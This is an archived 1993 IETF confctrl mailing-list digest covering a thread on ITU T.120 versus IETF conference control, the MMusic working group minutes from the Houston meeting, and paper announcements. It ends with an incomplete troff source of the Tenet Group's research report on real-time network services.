From: Mark Wahl <M.Wahl@cs.ucl.ac.uk>


Is there any work/plan for synchonizing the IETF WGs' protocols and services 
with the ITU-TSS proposals in the T.120 series, for standardizing conference 
control and multipoint a/v communication?

Thanks in advance,
		-------------------------------------
	Mark Wahl; M.Wahl@cs.ucl.ac.uk; Univ. Coll. London

From owner-confctrl  Mon Nov 15 17:13:29 1993
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA02066>; Mon, 15 Nov 1993 09:14:03 -0800
Received: from bells.cs.ucl.ac.uk by venera.isi.edu (5.65c/5.61+local-14)
	id <AA02062>; Mon, 15 Nov 1993 09:14:01 -0800
Message-Id: <199311151714.AA02062@venera.isi.edu>
Received: from danger.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.01228-0@bells.cs.ucl.ac.uk>; Mon, 15 Nov 1993 17:13:31 +0000
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 71 380 7777 ext 3666
To: Mark Wahl <M.Wahl@cs.ucl.ac.uk>
Cc: confctrl
Subject: Re: ITU-T T.12x (T.GCC etc)
In-Reply-To: Your message of "Mon, 15 Nov 93 15:22:50 GMT." <1232.753376970@UK.AC.UCL.CS>
Date: Mon, 15 Nov 93 17:13:29 +0000
Sender: M.Handley@cs.ucl.ac.uk


>Is there any work/plan for synchonizing the IETF WGs' protocols and services 
>with the ITU-TSS proposals in the T.120 series, for standardizing conference 
>control and multipoint a/v communication?

I've only looked at the T.120 stuff briefly, but it's really all based
around the assumption that the only way to do multimedia is circuits and
hubs.  As far as the IETF is concerned, that's not only uninteresting, but
also a serious limitation.  Try asking BT or ATT or whoever whether they can
do a 500 way A/V conf between 17 countries, without resorting to the "big
satelite theory of multicast".

Mark

From schooler  Mon Nov 15 02:15:04 1993
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA04249>; Mon, 15 Nov 1993 10:15:11 -0800
From: schooler (Eve Schooler)
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.61+local-14)
	id <AA04244>; Mon, 15 Nov 1993 10:15:09 -0800
Date: Mon, 15 Nov 1993 10:15:04 -0800
Posted-Date: Mon, 15 Nov 1993 10:15:04 -0800
Message-Id: <199311151815.AA13344@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA13344>; Mon, 15 Nov 1993 10:15:04 -0800
To: M.Wahl@cs.ucl.ac.uk, M.Handley@cs.ucl.ac.uk
Subject: Re: ITU-T T.12x (T.GCC etc)
Cc: confctrl

For those of you interested in reading up on the T.120 series, 
I've placed on-line copies of the T.124 and T.125 documents
in the confctrl directory:

	ftp.isi.edu:confctrl/bib/itu

Thanks to Chip Elliott for making these available.

E.


>From owner-confctrl@ISI.EDU Mon Nov 15 09:54:52 1993
>From: Mark Handley <M.Handley@cs.ucl.ac.uk>
>Organisation: University College London, CS Dept.
>To: Mark Wahl <M.Wahl@cs.ucl.ac.uk>
>Cc: confctrl@ISI.EDU
>Subject: Re: ITU-T T.12x (T.GCC etc)
>Date: Mon, 15 Nov 93 17:13:29 +0000
>Sender: M.Handley@cs.ucl.ac.uk
>Content-Length: 610
>X-Lines: 13
>
>
>>Is there any work/plan for synchonizing the IETF WGs' protocols and services 
>>with the ITU-TSS proposals in the T.120 series, for standardizing conference 
>>control and multipoint a/v communication?
>
>I've only looked at the T.120 stuff briefly, but it's really all based
>around the assumption that the only way to do multimedia is circuits and
>hubs.  As far as the IETF is concerned, that's not only uninteresting, but
>also a serious limitation.  Try asking BT or ATT or whoever whether they can
>do a 500 way A/V conf between 17 countries, without resorting to the "big
>satelite theory of multicast".
>
>Mark
>

From owner-confctrl  Tue Nov 16 11:11:35 1993
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA19510>; Tue, 16 Nov 1993 13:17:24 -0800
Received: from cygnus.sce.carleton.ca by venera.isi.edu (5.65c/5.61+local-14)
	id <AA19309>; Tue, 16 Nov 1993 13:12:01 -0800
Received: from space.sce.carleton.ca by cygnus.sce.carleton.ca (4.1/SMI-4.0)
	id AA17322; Tue, 16 Nov 93 16:11:38 EST
From: gboersma@sce.carleton.ca (Gerald Boersma)
Received: by space.sce.carleton.ca (4.1/Sun-Client)
	id AA02096; Tue, 16 Nov 93 16:11:36 EST
Message-Id: <9311162111.AA02096@space.sce.carleton.ca>
Subject: Re: ITU-T T.12x (T.GCC etc) 
To: confctrl
Date: Tue, 16 Nov 1993 16:11:35 -0500 (EST)
X-Mailer: ELM [version 2.4 PL22]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 1248      

> 
> >Is there any work/plan for synchonizing the IETF WGs' protocols and services 
> >with the ITU-TSS proposals in the T.120 series, for standardizing conference 
> >control and multipoint a/v communication?
> 
> I've only looked at the T.120 stuff briefly, but it's really all based
> around the assumption that the only way to do multimedia is circuits and
> hubs.  As far as the IETF is concerned, that's not only uninteresting, but
> also a serious limitation.  Try asking BT or ATT or whoever whether they can
> do a 500 way A/V conf between 17 countries, without resorting to the "big
> satelite theory of multicast".
> 

It seems to me also that this standard is also not a truly distributed
group communication system, especially with the concept of a 'top MCS
service provider'. It does not seem to deal with the issue of nodes
going down unannounced, and the effect that these nodes going down
will have on other nodes which are connected to it in a hierarchical
manner. 

However, it is good in that the standard defines a definite group
communication layer and a separate conference control layer, something
that the stuff from IETF seem to lack.

Any comments on this?

Gerald Boersma
TelePresence Ontario
gboersma@sce.carleton.ca



From owner-confctrl  Fri Nov 19 04:59:37 1993
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA11195>; Fri, 19 Nov 1993 09:59:45 -0800
Received: from thumper.bellcore.com by venera.isi.edu (5.65c/5.61+local-14)
	id <AA11189>; Fri, 19 Nov 1993 09:59:43 -0800
Received: from able (able.bellcore.com [128.96.40.23]) by thumper.bellcore.com (8.6.4/8.6.4) with SMTP id MAA24615 for <confctrl@isi.edu>; Fri, 19 Nov 1993 12:59:39 -0500
Received: from localhost by able (8.6.4/SMI-SVR4)
	id MAA02908; Fri, 19 Nov 1993 12:59:38 -0500
From: abel@thumper.bellcore.com (Abel Weinrib)
Message-Id: <199311191759.MAA02908@able>
Date: Fri, 19 Nov 93 09:59:37 EST
To: confctrl
Subject: MMusic minutes from Houston IETF

These notes were prepared by Abel Weinrib, abel@bellcore.com.  An
on-line copy of the minutes and the accompanying slides may be
found in the directory venera.isi.edu:confctrl/minutes as files
ietf.11.93 and slides.[a-d].11.93.ps.



      Multiparty Multimedia Session Control WG (MMusic)
                Minutes from the 28th IETF
                       Houston, TX
                   November 1 and 2, 1993

               Eve Schooler, schooler@isi.edu
               Abel Weinrib, abel@bellcore.com


The MMusic working group met for two sessions at the Houston IETF
meeting. The first day was dedicated to a short overview of the goals
and context for the working group and then to a presentation of an
algorithm and framework for managing shared session state.  The second
meeting focused on preliminary ideas on what might comprise shared
session state for a couple of different session types, and then three
short presentations on related work.  Overall, about 45 people attended
the two meetings; a list of the attendees is attached at the end of the
minutes.


Overview and Framework (Abel Weinrib, slides.a.11.93.ps)

Abel presented an overview of the goals of the MMusic working group
and discussed the framework for the work.  This presentation was
basically a review of the work of previous working group meetings;
refer to the minutes of those meetings available from the confctrl
archives for more detail.

In setting the context for the next two talks, a distinction was
made between the "agreement algorithm" and the "session control
protocol."  The agreement algorithm supports generic control of
group membership and enforces correctness and other policies on
state shared among the members.  This agreement layer "understands"
membership and policies, but views the rest of the domain-specific
session state as opaque.  The session control protocol understands
the domain-specific session state, using the services of the
agreement protocol to manage the state shared among the members. 
The session protocol may also use other services in addition to the
agreement services, such as services that support soft state sharing 
and recovery. 

Issues that were raised during discussion included:

Where should a "session manager" that terminates a session control
protocol reside?  Various alternatives are on a workstation
(as shown in the framework slide) for one or multiple users, or one
per domain that could act as a demultiplexing agent by passing on
session control messages for users in that domain to the
appropriate place.  The second alternative may provide hooks for
supporting user mobility and may deal well with security firewalls.

Should floor control be done through the session control protocol
or through some other mechanism?

Should policies be chosen from a predefined set or should they be
defined in all of their generality by each application?  This has
implications on interoperability and the complexity of the
applications.

In the framework, resource reservation is separate from session
management.  The session control protocol is used to propagate a
shared view of the state, which includes descriptions of the media
streams required by a conference.


An Algorithm for Managing Shared Teleconferencing State
	(Scott Shenker, slides.b.11.93.ps)

Scott described some preliminary ideas being developed for
expressing policies about how session state can be changed and the
degree to which members agree on their views of the state.   Policy
can be expressed along three dimensions:  voting policies,
consistency policies, and initiator policies.  Voting policy
defines which members must agree for a state change to take place. 
Consistency policies describe how the state seen by different
members may differ.  Initiator policies set which members may
initiate changes to the state.   The policy framework provides the
vocabulary for concretely describing various session styles.

He then presented an algorithm that supports operations on the
shared state while enforcing the policies associated with the
session.  These operations might be adding a member, changing the
policies themselves, or modifying some other domain specific state
variable such as an encryption key.  The basic mechanism is a group
agreement algorithm based on a two-phase commit procedure when
or correctness.

For additional information on this work there is a rough draft
document in the confctrl archives in docs/agree.ps.  Notice of the
availability of more complete drafts of the document will be sent
to the confctrl mailing list.

Some points raised in the discussion during and following the talk
included:

The observation that some members of a session may be programs
running on computers.  The fall-back position of always allowing
members to leave a corrupted session may be less useful for them
than for human members who can more easily detect the corruption.

Critical and non-critical membership allows there to be a core of
members that control the conference and a potentially much larger
set of members that can more easily enter and leave.

This talk is about agreement, not negotiation.  The distinction is
that there is no support for multiple rounds of proposals and
counter-proposals.  This could be future work, or could be done at
the application level building on top of the basic agreement
service.


Session Control Above the Agreement Protocol
	(Eve Schooler, slides.c.11.93.ps)

Eve's talk was devoted to the interpretation and usage of
the agreement protocol for teleconference session control.
Discussion aimed to place the agreement protocol in the context of
a traditional protocol stack and to hint at implementation concerns.
Examples were given for generic and domain-specific session operations,
as well as for the array of potentially interesting state attributes
(session-wide, membership-related, or media- and policy-specific).
To illustrate the range of sessions that can be constructed
from different sets of policies, two example paradigms were presented;
one for an open hailing-channel session with little coordination among
members, and another for a minimal invitation-only session.

The second half of the presentation focused on several open issues:
Tradeoffs between different end-system organizations, addressing
issues related to the use of unicast and multicast and to the
interaction of media agents and session agents, and alternate
techniques for user rendezvous that resemble what is currently in
place on the MBone for session directories. 

For additional information on this work there is a very rough draft
document in the confctrl archives in docs/usage.txt.  Notice of the
availability of more complete drafts of the document will be sent
to the confctrl mailing list.

Some points raised in the discussion during and following the talk
included:

Issues of media typing and addressing of media agents are related
to problems that need to be solved for www and xmosiac naming and
MIME mailcap media descriptions.

It would be nice if session control did not assume that the media
used by the conference is necessarily carried over an IP network.


Consensus and Control in Wide-Area Communication (Bala Rajagopalan)

Bala briefly presented his work on agreement and control of group
membership in wide area communications.  He also handed out a 
paper that presents his model and algorithm in more detail; 
contact him for a copy of his paper at braja@qsun.att.com.

The model allows a group to (eventually) come to consensus on its
membership in the presence of unreliable message delivery.  His
algorithm uses wide area multicast and a coordinator for each
partition's "view" of the membership state.  Operations on groups
include join, leave, delete, reform, merge.  One underlying assumption
of this work that led to some heated discussion during the meeting is
that connectivity is transitive, meaning that if A is connected to B
and B is connected to C, then A is connected to C; this assumption may
break down during certain failure scenarios in the Internet.

This work appears to be relevant to the concerns of the MMusic
working group.  More effort is required to understand how and where it 
might fit into the MMusic charter.


RTCP Implications for MMusic (Steve Casner, slides.d.11.93.ps)

Steve discussed the relationship of RTCP, the "real time control
protocol" defined by the A/V Transport working group, to the MMusic
working group effort.  RTCP is separate from the RTP protocol
(which supports transport of time-critical media streams) and may
in the future be replaced by a higher level control protocol, such
as the MMusic session control protocol.  In particular, he
described the functions that RTCP currently provides, and discussed
other functions that would be useful in supporting an application
such as multimedia telconferencing (see the slides).  He concluded
that it may make sense to use some part of the RTCP in conjunction
with a higher level control protocol.


Session Control Work at BBN (Julio Escobar)

Julio briefly listed relevant work at BBN that is addressing
similar issues to the MMusic working group.  He mentioned Chip
Elliott's work on the "sticky" protocol (Chip had actually
presented this work at an earlier MMusic/confctrl BOF), Lou Berger's
simulation exercise management tool, and Walter Milliken's work on
resource coordination objects.  Julio promised to send additional
information on this work to the confctrl mailing list (which he has
done).


Attendees:

Abel Weinrib		abel@bellcore.com
Eve Schooler		schooler@isi.edu
Scott Shenker		shenker@parc.xerox.com		
Dan Swinehart		swinehart@parc.xerox.com
Jim Martin		jim@noc.rutgers.edu
Bala Rajagopalan	braja@qsun.att.com
Fengim Gong		gong@concert.net
Ted Kuo			tik@unet.ibm.com		
Lixia Zhang		lixia@parc.xerox.com		
John Stewart		jstewart@cnri.reston.va.us
Ed Ellesson		ellesson@unet.ibm.com
Shin Yoshida		yoshida@sumitomo.com
Ping Chen		ping@apple.com			
			ping@ping2.aux.apple.com
Matsuaki Terada		tera@sdl.hitachi.co.jp		
Mark Pullen		mpullen@cs.gmu.edu		
Michael F. Speer	mspeer@sun.com			
Steve Richardson	sjr@merit.edu			
Bill Fenner		fenner@cmf.nrl.navy.mil		
Ron Frederick		frederick@parc.xerox.com	
Claudio Topolcic	topolcic@cnri.reston.va.us	
Donald Merritt		don@arl.army.mil		
James Fielding		jamesf@arl.army.mil		
Karen O'Konoghue	kodonog@relya.nswc.navy.mil	
Ken Hayward		Ken.Hayward@bnr.ca		
David Borman		dab@cray.com			
Steve Casner		casner@isi.edu
Taehwan Weon		weon@cosmos.kaist.ac.kr		
Yasahiro Katsube	katsube@mail.bellcore.com	
Weiping Zhao		zhao@nacsis.ac.jp 
Henning	Schulzrinne	hgs@research.att.com
Julio Escobar		jescobar@bbn.com
John Wroclawski		jtw@lcs.mit.edu
Laura Pate		pate@gateway.mitre.org
Steve DeJarnett		steve@ibmpa.awdpa.ibm.com
Lou Berger		lberger@bbn.com
Atanu Ghosh		atanu@cs.ucl.ac.uk
John Hanratty		jhanratty@agile.com
Paul lambert		Paul_Lambert@email.mot.com	
Charly Kline		cvk@uiuc.edu
Gerge Clapp		clapp@ameris.ameritech.som
Mark Laubach		laubach@hpl.hp.com
David Dubois		dad@pacersoft.com		
Thomas Maslen		maslen@eng.sun.com
Van Jacobson		van@ee.lbl.gov
Jim Knowles		jknowles@binky.arc.nasa.gov

From owner-confctrl  Tue Nov 23 09:46:03 1993
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA01782>; Tue, 23 Nov 1993 01:46:24 -0800
Received: from bells.cs.ucl.ac.uk by venera.isi.edu (5.65c/5.61+local-14)
	id <AA01778>; Tue, 23 Nov 1993 01:46:16 -0800
Message-Id: <199311230946.AA01778@venera.isi.edu>
Received: from waffle.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.01432-0@bells.cs.ucl.ac.uk>; Tue, 23 Nov 1993 09:46:05 +0000
To: confctrl
Subject: t.122 - just how general is this
Date: Tue, 23 Nov 93 09:46:03 +0000
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>


reading the new t.122 spec for a 
Multipoint Communications Service Protocol
I find it is very very general....

does this group want to consider the ramifications?

jon 

From owner-confctrl  Tue Nov 23 04:37:00 1993
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA16178>; Tue, 23 Nov 1993 11:13:15 -0800
Received: from att.att.com (gw1.att.com) by venera.isi.edu (5.65c/5.61+local-14)
	id <AA16174>; Tue, 23 Nov 1993 11:13:13 -0800
Message-Id: <199311231913.AA16174@venera.isi.edu>
From: braja@qsun.att.com
Date: Tue, 23 Nov 93 09:37 EST
To: confctrl
Subject: Re: MMusic minutes from Houston IETF

>From Abel Weinrib, Re: Houston IETF minutes

>Bala briefly presented his work on agreement and control of group
>membership in wide area communications.  He also handed out a 
>paper that presents his model and algorithm in more detail; 
>contact him for a copy of his paper at braja@qsun.att.com.

Until it is added to the confctrl archives, the postscript
version of this paper can be obtained through anonymous ftp
from ds.internic.net. The file is "consensus.ps" and it is
in the directory, "/pub/current-ietf-docs/tsv/mmusic".

Bala Rajagopalan
braja@qsun.att.com

From owner-confctrl  Wed Nov 24 14:59:41 1993
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA12897>; Wed, 24 Nov 1993 04:56:56 -0800
Received: from milou.inria.fr by venera.isi.edu (5.65c/5.61+local-14)
	id <AA12892>; Wed, 24 Nov 1993 04:56:53 -0800
Received: by milou.inria.fr
	(5.65c8/IDA-1.2.8) id AA29406; Wed, 24 Nov 1993 13:59:42 +0100
Message-Id: <199311241259.AA29406@milou.inria.fr>
To: schooler
Cc: confctrl
Subject: Document on reliable multicast protocol
Date: Wed, 24 Nov 1993 13:59:41 +0100
From: Walid Dabbous <Walid.Dabbous@sophia.inria.fr>


I've placed a draft report on a reliable multicast protocol
we implemented for a white board application, for anonymous ftp from
zenon.inria.fr: rodeo/mscrawl/rmp.ps.
We are still working on both the protocol design and the white
board implementation enhancement. 

This protocol could be used to provide reliable transport
layer for the session control, but this would require further
work on the draft. 

Comments are welcome.

Walid Dabbous                       | Email : dabbous@sophia.inria.fr  
INRIA U.R. de Sophia Antipolis      | Phone : +33 93 65 77 18
 2004, Route des Lucioles BP 93     | Telex :      97 00 50 F        
 06902 Sophia Antipolis CEDEX France| Fax   : +33 93 65 77 65       


From owner-confctrl  Wed Nov 24 17:22:07 1993
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA19296>; Wed, 24 Nov 1993 09:22:48 -0800
Received: from bells.cs.ucl.ac.uk by venera.isi.edu (5.65c/5.61+local-14)
	id <AA19292>; Wed, 24 Nov 1993 09:22:44 -0800
Message-Id: <199311241722.AA19292@venera.isi.edu>
Received: from kant.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.08224-0@bells.cs.ucl.ac.uk>; Wed, 24 Nov 1993 17:22:09 +0000
To: Walid Dabbous <Walid.Dabbous@sophia.inria.fr>
Cc: schooler, confctrl
Subject: Re: Document on reliable multicast protocol
In-Reply-To: Your message of "Wed, 24 Nov 93 13:59:41 +0100." <199311241259.AA29406@milou.inria.fr>
Date: Wed, 24 Nov 93 17:22:07 +0000
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>



 >This protocol could be used to provide reliable transport
 >layer for the session control, but this would require further
 >work on the draft. 
 
 >Comments are welcome.

Walid 

i'm curious you don't cite my sigcomm 88 paper which addresses
relaible multicast over ip multicast....and has some analysis you
could maybe use (thjough probably way out of date!)

cheers

 jon


From schooler  Mon Dec  6 04:08:01 1993
Received: by venera.isi.edu (5.65c/5.61+local-14)
	id <AA11282>; Mon, 6 Dec 1993 12:08:15 -0800
From: schooler (Eve Schooler)
Received: from elm.isi.edu by venera.isi.edu (5.65c/5.61+local-14)
	id <AA11278>; Mon, 6 Dec 1993 12:08:14 -0800
Date: Mon, 6 Dec 1993 12:08:01 -0800
Posted-Date: Mon, 6 Dec 1993 12:08:01 -0800
Message-Id: <199312062008.AA28760@elm.isi.edu>
Received: by elm.isi.edu (5.65c/4.0.3-4)
	id <AA28760>; Mon, 6 Dec 1993 12:08:01 -0800
To: confctrl
Subject: The Fall 1993 edition of the Tenet Group current research document

FYI,

----- Begin Included Message -----

From ferrari@ICSI.Berkeley.EDU Sun Dec  5 22:15:52 1993
Date: Sun, 5 Dec 1993 21:58:42 -0800
From: ferrari@ICSI.Berkeley.EDU (Domenico Ferrari)
To: mmworld@tenet.ICSI.Berkeley.EDU, xunet-announce@research.att.com
Subject: The Fall 1993 edition of the Tenet Group current research document
Content-Length: 38307
X-Lines: 994


\" Last modified November 1, 1993
\"
\" Print using:  *roff -ms <filename>
\"
.ND
.ce
.ps 14
\fBThe Tenet Group\fR
.sp .5
.ce
.ps 11
University of California, Berkeley
.ce
and International Computer Science Institute
.sp
.ps 16
.ce
\fBRecent and Current Research\fR
.sp .5
.ce
.ps 11
November 1993
.sp 2
.NH 1
Introduction
.PP
The Tenet Group was formed in September of 1989 at the University of 
California at Berkeley and the International Computer Science Institute 
(ICSI, also in Berkeley) 
to perform research in high-speed computer networking. 
The focus of the group is on the design
and development of 
real-time communication services, 
and on network support for continuous-media applications. 
.PP
The Tenet Group is participating in
three major multi-institution research projects: BLANCA, Sequoia 2000,
and BAGnet. The BLANCA project is part of the Gigabit Testbed Initiative,
which is sponsored by the Corporation for National Research Initiatives
and supported by the National Science Foundation and by the Defense Advanced
Research Projects Agency.
The BLANCA project officially started in May 1990 and currently includes
AT&T Bell Laboratories, the universities of California, Illinois, and
Wisconsin, Pacific Bell, and a few research institutes, among which is ICSI. 
The goal of BLANCA is to design and build two wide-area ATM-based 
testbeds called 
Xunet 2 (at 45 Mbps) and Xunet 3 (at 622 Mbps), and demonstrate on them several 
applications requiring high-speed networking.
Most of applications are of the scientific visualization type, 
and require the transmission of image sequences and/or video streams.
The sequences or streams are to be browsed, stopped, and played
forward or backward at speeds slower or faster than the nominal
one, by scientists at sites far from those where the sequences
or streams are generated or stored.
.PP
Sequoia 2000, the second major initiative in which the Tenet Group is
participating, aims at building high-speed storage and communication
facilities for global-change scientists at remote locations, to
allow them to visualize and
browse sequences of digitally represented satellite maps
and other large sets of data to be used in earth science research.
Project Sequoia 2000, the sequel to Project Athena,
was awarded in July 1991 by the Digital Equipment Corporation
to the University of California system; its network design and research
activities are taking place at U.C. Berkeley and U.C. San Diego.
The Sequoia 2000 network (S2Knet) connects at T1 speed the 
Berkeley campus to the Davis, Santa Barbara, 
Los Angeles, and San Diego campuses, as well as to the Scripps
Institution of Oceanography in San Diego and the state's Department of Water
Resources near Sacramento.
An experimental T3 link has just been installed between U.C. Berkeley
and U.C. San Diego.
The network's bandwidth will be increased to 45 Mbps in early 1994.
.PP
The testbed for the third project, BAGnet (the Bay Area Gigabit network),
does not yet exist but is expected to be installed during 1994.
BAGnet will connect a dozen top computing research organizations
located in the San Francisco Bay area; the group has applied to
CalREN, a research support foundation established by Pacific Bell,
for ATM services.  These services are to be used for a number of
collaborative multimedia applications, the first of which to be 
implemented will be a "teleseminars" facility.  The bandwidth is
expected to be 155 Mbps in early 1994 and to be upgraded to 622 Mbps
in late 1994.
.PP
The contributions of the Tenet Group
to all three projects are concerned primarily with the
technological foundations, rather than with the end-user
applications, and can be classified into two partially
overlapping areas: (a) real-time communication services, and
(b) continuous-media networking applications.
.NH 1
Real-Time Communication Services
.nr NH 2 10
.NH 2
Enhancements and extensions of the Tenet approach 
.PP
Several improvements and extensions have been proposed for the
original Tenet approach.
The enhancements of Scheme 1 are
easily portable to Scheme 2 (described in Section 2.3).
.sp .5
.LP
.B
Service disciplines for real-time communication.\ \ 
.R
\fBHui Zhang\fR has obtained several new results in his
investigation of service
disciplines for integrated services packet switching networks.
He has been studying a class of service disciplines called
\fIrate-controlled service disciplines\fR.
Their key feature is the separation of the server into 
two components: a rate controller and a scheduler. After the rate controller
limits the distortion of the traffic introduced by
load fluctuations inside the network, the scheduler
orders the packets for transmission. Rate-controlled service disciplines 
provide a general framework under which most of the existing 
non-work-conserving disciplines such as Jitter-EDD,
Stop-and-Go, and Hierarchical Round Robin 
can be naturally expressed by choosing appropriate combinations of 
rate controller and scheduler. Tradeoffs of 
various rate controllers and schedulers have been investigated. 
One discipline in this class, called Rate-Controlled Static Priority (RCSP),
is particularly suitable
for providing performance guarantees in high speed networks. It has 
flexibility in the allocation of bandwidth and delay bounds to different
connections as well as simplicity of implementation.
Conditions are given to provide end-to-end deterministic and statistical
performance bounds in a network of rate-controlled servers. Although
rate-controlled service disciplines are non-work-conserving, i.e.,
packets may be held in rate controllers even when the output link is idle, 
it has been proven that the end-to-end delay bounds are not affected 
by the holding time. 
Their ability to provide end-to-end performance bounds 
is general. Unlike the previously proposed solutions,
they can provide end-to-end bounds in
networks with arbitrary topology, both feedback 
(aggregate traffic forming loops) and feed-forward networks, internetworks 
with variable but bounded link delays, and networks with rate-controlled 
servers that have different schedulers. 
.sp .5
.LP
.B
A new method for admission control.\ \ 
.R
\fBDomenico Ferrari\fR devised a new method for admission control. The method
can be applied to a wide variety of node models with a wide spectrum of
accuracies, and is therefore much more general than the one previously
used in Scheme 1 and Suite 1, which was based on a very simple, not
very realistic node model. The crucial difference is that, in the new
approach, each node visited by a real-time channel to be established
may be represented by two or more single servers connected in cascade
instead of only one such server. The admission tests and computations
are designed and have to be executed for each server along the path
of the channel to be established. The new method substantially
simplifies the Real-Time Channel Administration Protocol (RCAP) code
for establishment in an internetwork, and
makes the tests and computations, hence also the code, more portable.
On the negative side, it increases somewhat the establishment overhead
and the length of the establishment messages.
.sp .5
.LP
.B
New admission tests for deterministic service.\ \ 
.R
\fBHui Zhang\fR has developed new admission control algorithms for providing
deterministic service.  In the
previous version of Scheme 1, the deterministic test
ensures that the sum of the
peak rates of all deterministic connections is less than the link speed.
This condition will result in a low average link utilization if the
peak-average-rate ratio is high for real-time traffic. The new study 
shows that deterministic service can be provided even when this condition
is not met. When the traffic is bursty, the new admission control
algorithm results in a multifold increase in the number of admitted
real-time connections.
.sp .5
.LP
.B
A new approach to statistical guarantees.\ \ 
.R
\fBHui Zhang\fR and \fBEd Knightly\fR have developed a new, efficient, and 
general approach for providing end-to-end statistical guarantees in 
packet-switching networks. This is achieved
by modeling a traffic source with a family of interval-dependent bounding
random variables and by using a rate-controlled service discipline
inside the network. The traffic model stochastically  bounds the
number of bits sent over time intervals of different length. The
model captures different source behaviors over different time scales
by making the distribution an explicit function of the interval length.
The RCSP service discipline has the priority queueing mechanisms
necessary to provide statistical performance guarantees in integrated services
networks. In addition, RCSP provides the means for efficiently extending
the results from a single switch to a network of arbitrary topology.
.sp .5
.LP
.B
Modifying the Ethernet for real-time traffic.\ \ 
.R
\fBBrian Whetten\fR
is developing a new algorithm for a more fair Ethernet, and plans
to simulate it to test its effectiveness.  One of the biggest problem
that current Ethernets have in terms of both utilization and
handling of real-time traffic is the inherent unfairness of CSMA/CD.  
Under heavy loads, packet starvation frequently occurs, which causes a 
given sender to block for an average of more than 200 ms.  The new
algorithm fixes these problems, but may have a lower 
maximum utilization in some cases.  Simulation will allow these tradeoffs
to be explored.
.sp .5
.LP
.B
Applying Tenet admission control to ATM networks.\ \ 
.R
\fBPillalamarri Seshasayi\fR is looking into the problem of
providing real-time communication with guaranteed quality-of-service
(QOS) in ATM networks.  Guaranteeing QOS in such a network
requires that the traffic, cell loss, delay and delay variation of
a particular channel be characterized deep inside the network.
While such a characterization is well understood at the source,
it is not clear how it changes after the channel has traversed
many switches in a loaded network.  He is investigating how the
Tenet traffic model and admission control algorithm should be
changed for use in ATM networks.
.NH 2
Porting and extending the prototype Tenet real-time protocol suite (Suite 1)
.sp .5
.LP
.B
Porting the Tenet suite to the Xunet 3 testbed.\ \ 
.R
A HIPPI network has been constructed between Cory and Evans Halls on
the U.C. Berkeley campus and Building 50 at Lawrence Berkeley
Laboratory.  The network uses standard HIPPI within buildings and
serial HIPPI between buildings.  \fBBruce Mah\fR is working with
\fBSrinivasan Seshan\fR, a graduate student in the RAID research group,
to port the Real-Time Message Transport Protocol (RMTP), the Real-Time
Internet Protocol (RTIP),
and the Real-Time Channel Administration Protocol (RCAP) to RAID-II,
a prototype disk array built at U.C. Berkeley.  The
port of RCAP, designed to support the filesystem code in the Sprite
kernel, is expected to suggest some new implementation alternatives
for the next version of the same protocol.  When this protocol work is
completed,
the disk array will provide a high-capacity, high-bandwidth storage
service for the HIPPI testbed.  \fBHoofar Razavi\fR and some researchers
at LBL are working
on porting the Tenet protocols to other pieces of the network testbed.
.sp .5
.LP
.B
Scheduling real-time transmissions over HIPPI switches.\ \ 
.R
\fBAndres Albanese\fR, \fBRiccardo Bettati\fR and
\fBMaurizio Bonuccelli\fR (a short-term visiting researcher from the 
University of Rome, Italy), have completed an investigation of
means to support real-time traffic over circuit-switching networks
where circuits are time-shared by the network layer among various
connections.
The resulting scheme is a combination of channel establishment and
deterministic traffic scheduling.  The acceptance test for a new
channel consists of the explicit construction of the transmission
schedule.  Once the channel has been accepted, the schedule used in
the acceptance test is used for data transmission.
Simulation experiments are currently under way to investigate
the scalability of
this approach and to evaluate different scheduling heuristics.
Work has begun to include this approach as part of RCAP in the
existing two-switch HIPPI network connecting the U.C.
Berkeley campus and the Lawrence Berkeley Laboratory 
(the Xunet 3 testbed). \fBAnisoara Nica\fR is modifying the Tenet
protocols for this testbed, where RTIP will time-multiplex several
conversations over the same HIPPI links and ports.
.sp .5
.LP
.B
Integrating RCAP with the Xunet and Fore Systems signalling protocols.\ \ 
.R
\fBEd Knightly\fR 
is collaborating with the networking group at 
Sandia National Labs to investigate providing real-time
performance guarantees on several interconnected network testbeds
including Xunet, a Fore Systems ATM LAN, and a heterogeneous FDDI
network connected with a Gigaswitch. The project currently has several 
applications running on it, including DAVE (Distributed Audio Video 
Environment) conferencing tools and an MPEG video distribution system 
(under development). In addition, several PVM (parallel virtual machines) 
distributed applications with demanding network constraints are
being tested. The next step to providing end-to-end real-time guarantees 
to these applications involves integrating RCAP (running on all workstations 
and routers) with the Xunet and Fore Systems signalling protocols.
\fBFukiko Hidano\fR is currently installing RCAP on top of the Xunet
Signalling Protocol.
.sp .5
.LP
.B
Real-time protocols for mobile computing.\ \ 
.R
\fBBruce Mah\fR has been working with \fBKimberly Keeton\fR and \fBSrinivasan
Seshan\fR, two graduate students in the RAID research group,
on issues related to
mobile computing.  They have developed several algorithms for
supporting mobility in connection-oriented networks such as a network
using the Tenet real-time protocol suite.  Connection-based networks
present some special problems for mobility, in that the network state
needs to reflect a new connection path whenever a host moves in the
network. To reduce latencies and overhead in each handoff,
and to minimize disruptions of continuous-media streams,
it is desirable to investigate handoff schemes that modify portions of
existing connections, as opposed to creating entirely new connections.
Based on a preliminary analysis, an approach using network-layer
multicasting looks quite promising.  Some of this work will be
incorporated into the InfoPad project. The InfoPad is a portable
multimedia terminal under
development in the Department of Electrical Engineering and Computer
Sciences at U.C. Berkeley.
.NH 2
The next Tenet scheme (Scheme 2) and suite (Suite 2)
